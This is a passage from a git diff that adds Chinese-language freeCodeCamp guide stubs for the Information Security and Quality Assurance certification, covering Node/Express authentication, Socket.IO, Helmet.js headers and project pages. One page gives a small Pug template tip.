+每个证书课程大约需要300个小时才能完成，包括5个必修项目，而其他挑战则是可选的。
+
+### 全栈开发证书
+
+完成所有六个证书后，将发布freeCodeCamp [全栈开发计划证书](https://guide.freecodecamp.org/meta/free-code-camp-full-stack-development-certification/) 。最后的区别意味着通过广泛的Web开发工具完成大约1,800小时的编码。
+
+有关freeCodeCamp的更多信息，请访问[about.freecodecamp.org](https://about.freecodecamp.org/) 。
+
+有关新认证计划的更多信息，请参阅[此处](https://www.freecodecamp.org/forum/t/freecodecamps-new-certificates-heres-how-were-rolling-them-out/141618)的论坛帖子。
+
+### 关联Android开发人员认证
+
+测试一个人的Android技能并通过谷歌认证的一个很好的方法。 [此处](https://developers.google.com/training/certification/)提供了认证的链接及其详细信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md
new file mode 100644
index 0000000000..fdfaa09c96
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md
@@ -0,0 +1,9 @@
+---
+title: Announce New Users
+localeTitle: 宣布新用户
+---
+## 宣布新用户
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/announce-new-users/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md
new file mode 100644
index 0000000000..9a6c46e243
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md
@@ -0,0 +1,9 @@
+---
+title: Authentication Strategies
+localeTitle: 认证策略
+---
+## 认证策略
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-strategies/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md
new file mode 100644
index 0000000000..ccb1b00ced
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md
@@ -0,0 +1,9 @@
+---
+title: Authentication with Socket.IO
+localeTitle: 使用Socket.IO进行身份验证
+---
+## 使用Socket.IO进行身份验证
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/authentication-with-socket.io/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md
new file mode 100644
index 0000000000..af3c2cf619
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md
@@ -0,0 +1,9 @@
+---
+title: Clean Up Your Project with Modules
+localeTitle: 使用模块清理项目
+---
+## 使用模块清理项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/clean-up-your-project-with-modules/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md
new file mode 100644
index 0000000000..ece04ff0ed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md
@@ -0,0 +1,9 @@
+---
+title: Communicate by Emitting
+localeTitle: 通过发射进行沟通
+---
+## 通过发射进行沟通
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md
new file mode 100644
index 0000000000..8448dea979
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md
@@ -0,0 +1,9 @@
+---
+title: Create New Middleware
+localeTitle: 创建新的中间件
+---
+## 创建新的中间件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md
new file mode 100644
index 0000000000..aa808c0816
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md
@@ -0,0 +1,9 @@
+---
+title: Handle a Disconnect
+localeTitle: 处理断开连接
+---
+## 处理断开连接
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md
new file mode 100644
index 0000000000..2025c27293
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md
@@ -0,0 +1,9 @@
+---
+title: Hashing Your Passwords
+localeTitle: 哈希密码
+---
+## 哈希密码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md
new file mode 100644
index 0000000000..b9db189a36
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Put a Profile Together
+localeTitle: 如何将配置文件放在一起
+---
+## 如何将配置文件放在一起
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md
new file mode 100644
index 0000000000..da488781b2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Use Passport Strategies
+localeTitle: 如何使用Passport策略
+---
+## 如何使用Passport策略
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md
new file mode 100644
index 0000000000..3ee05cb2ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md
@@ -0,0 +1,9 @@
+---
+title: Implement the Serialization of a Passport User
+localeTitle: 实现Passport用户的序列化
+---
+## 实现Passport用户的序列化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md
new file mode 100644
index 0000000000..3d67043eba
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication II
+localeTitle: 社会认证的实施II
+---
+## 社会认证的实施II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md
new file mode 100644
index 0000000000..9eae5dbcda
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication III
+localeTitle: 社会认证的实施III
+---
+## 社会认证的实施III
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md
new file mode 100644
index 0000000000..b454b8a43b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication
+localeTitle: 社会认证的实施
+---
+## 社会认证的实施
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md
new file mode 100644
index 0000000000..902513fa47
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md
@@ -0,0 +1,11 @@
+---
+title: Advanced Node and Express
+localeTitle: 高级节点和Express
+---
+## 高级节点和Express
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md
new file mode 100644
index 0000000000..75c8a1761d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md
@@ -0,0 +1,9 @@
+---
+title: Logging a User Out
+localeTitle: 记录用户
+---
+## 记录用户
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md
new file mode 100644
index 0000000000..35daaa81bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md
@@ -0,0 +1,23 @@
+---
+title: Registration of New Users
+localeTitle: 新用户注册
+---
+## 新用户注册
+
+请务必编辑views / pug / profile.pug，第11行：
+
+```pug
+h1.border.center FCC Advanced Node and Express 
+```
+
+成
+
+```pug
+h1.border.center Profile Home 
+```
+
+否则测试不会通过
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md
new file mode 100644
index 0000000000..e0ac8d2e55
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md
@@ -0,0 +1,9 @@
+---
+title: Send and Display Chat Messages
+localeTitle: 发送和显示聊天消息
+---
+## 发送和显示聊天消息
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md
new file mode 100644
index 0000000000..212ead7f1b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md
@@ -0,0 +1,9 @@
+---
+title: Serialization of a User Object
+localeTitle: 用户对象的序列化
+---
+## 用户对象的序列化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md
new file mode 100644
index 0000000000..aad2b39809
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up a Template Engine
+localeTitle: 设置模板引擎
+---
+## 设置模板引擎
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md
new file mode 100644
index 0000000000..7f525f2e76
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up Passport
+localeTitle: 设置护照
+---
+## 设置护照
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md
new file mode 100644
index 0000000000..73235df8e1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up the Environment
+localeTitle: 设置环境
+---
+## 设置环境
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md
new file mode 100644
index 0000000000..a223cb8926
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Template Engine's Powers
+localeTitle: 使用模板引擎的权力
+---
+## 使用模板引擎的权力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/index.md
new file mode 100644
index 0000000000..3c0c1e086f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security and Quality Assurance
+localeTitle: 信息安全和质量保证
+---
+## 信息安全和质量保证
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md
new file mode 100644
index 0000000000..c35795a71d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md
@@ -0,0 +1,9 @@
+---
+title: Anonymous Message Board
+localeTitle: 匿名留言板
+---
+## 匿名留言板
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md
new file mode 100644
index 0000000000..ba59930579
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security and Quality Assurance Projects
+localeTitle: 信息安全和质量保证项目
+---
+## 信息安全和质量保证项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md
new file mode 100644
index 0000000000..42be2f4f3e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Issue Tracker
+localeTitle: 问题跟踪器
+---
+## 问题跟踪器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md
new file mode 100644
index 0000000000..55717e97a3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md
@@ -0,0 +1,9 @@
+---
+title: Metric-Imperial Converter
+localeTitle: 公制 - 英制转换器
+---
+## 公制 - 英制转换器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md
new file mode 100644
index 0000000000..c883f66694
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md
@@ -0,0 +1,9 @@
+---
+title: Personal Library
+localeTitle: 个人图书馆
+---
+## 个人图书馆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md
new file mode 100644
index 0000000000..ce32ba04c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md
@@ -0,0 +1,9 @@
+---
+title: Stock Price Checker
+localeTitle: 股票价格检查
+---
+## 股票价格检查
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md
new file mode 100644
index 0000000000..58bf232bb4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md
@@ -0,0 +1,9 @@
+---
+title: Ask Browsers to Access Your Site via HTTPS Only with helmet.hsts()
+localeTitle: 要求浏览器通过HTTPS访问您的站点仅限于使用helmet.hsts（）
+---
+## 要求浏览器通过HTTPS访问您的站点仅限于使用helmet.hsts（）
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md
new file mode 100644
index 0000000000..d76436953c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md
@@ -0,0 +1,9 @@
+---
+title: Avoid Inferring the Response MIME Type with helmet.noSniff()
+localeTitle: 避免使用helmet.noSniff（）推断响应MIME类型
+---
+## 避免使用helmet.noSniff（）推断响应MIME类型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md
new file mode 100644
index 0000000000..4fbf1f8d09
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md
@@ -0,0 +1,9 @@
+---
+title: Configure Helmet Using the ‘parent’ helmet() Middleware
+localeTitle: 配置头盔使用“父”头盔（）中间件
+---
+## 配置头盔使用“父”头盔（）中间件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
